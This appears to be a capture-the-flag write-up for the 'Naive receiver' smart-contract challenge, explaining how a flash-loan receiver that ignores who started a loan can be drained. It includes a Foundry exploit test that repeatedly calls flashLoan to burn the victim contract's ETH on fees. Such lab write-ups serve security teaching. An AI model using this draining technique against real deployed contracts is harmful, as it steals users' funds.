2. Naive receiver

Objective

Thereā€™s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.

A user has deployed a contract with 10 ETH in balance. Itā€™s capable of interacting with the pool and receiving flash loans of ETH.

Take all ETH out of the userā€™s contract. If possible, in a single transaction.

Approach

  • We want to drain FlashLoanReceiver.sol of its ETH.

  • It only has 2 functions, receiveEther() and receive()

  • receiveEther() is called by flashLoan() function on NaiveReceiverLenderPool

    • checks that msg.sender is pool

  • Notice that anyone can call flashLoan() function and pass a borrower address of choice

    • receiveEther() does not check originator of transaction

  • This means we can repeatedly call flashLoan(), passing the FlashLoanReceiver address, draining the user's contract by repeatedly paying fees

Solution

The solution is to repeatedly call flashLoan() on naiveReceiverLenderPool, targetting flashLoanReceiver as the called of the flash loan.

We will achieve this with a while loop.

  • calculate the remaining balance on the target contract, less the flash loan fee

  • take a flashout out with said balance

  • the user's balances are drained paying fees

  • while loop breaks when user's balance is 0.

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        uint256 fee = naiveReceiverLenderPool.fixedFee();

        vm.startPrank(attacker);
        while (true) {
            uint256 loanAmount = address(flashLoanReceiver).balance - fee;
            naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), loanAmount);

            // if no more ETH, break out of while loop
            if (address(flashLoanReceiver).balance == 0) break;
        }

        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\nšŸŽ‰ Congratulations, you can go to the next level! šŸŽ‰");
    }

Last updated